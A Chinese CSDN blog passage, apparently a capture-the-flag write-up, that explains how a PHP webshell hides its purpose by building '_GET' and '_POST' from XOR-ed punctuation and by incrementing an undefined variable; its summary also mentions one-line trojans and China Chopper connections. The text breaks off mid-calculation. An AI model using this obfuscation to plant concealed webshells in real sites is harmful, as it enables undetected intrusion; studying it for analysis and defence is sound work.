墨者学院 - PHP代码分析溯源(第1题)

最新推荐文章于 2022-12-11 09:53:14 发布

多崎巡礼

最新推荐文章于 2022-12-11 09:53:14 发布

阅读量870

点赞数

分类专栏： web webshell 文章标签： PHP

本文链接：https://blog.csdn.net/qq_42357070/article/details/81281299

版权

本文详细分析了PHP中的异或运算符用于字符串处理的案例，解释了未定义变量自增得到数字的过程，并展示了如何利用异或构造特殊变量名，最终形成$_GET和$_POST的访问。同时提到了一句话木马的构造和利用方法，以及通过菜刀工具进行连接的示例。

摘要由CSDN通过智能技术生成

1、“^”为异或运算符。在PHP中，两个变量进行异或时，会将字符串转换成二进制再进行异或，异或完，又将结果从二进制转换成了字符串。
2、$_++;这行代码的意思是对变量名为"_"的变量进行自增操作，在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
3、$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
("`"^"?")       01100000^00111111=01011111 —>”_”
(":"^"}")       00111010^01111101=01000111—>”G”
("%"^"`")      00100101^01100000=01000101—>”E”
("{"^"/")       01111011^ 00101111=01010100—>”T”
得到$__=_GET
4、$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
("$"^"{")       00100100^01111011=01011111—>”_”
("~"^".")       01111110^001011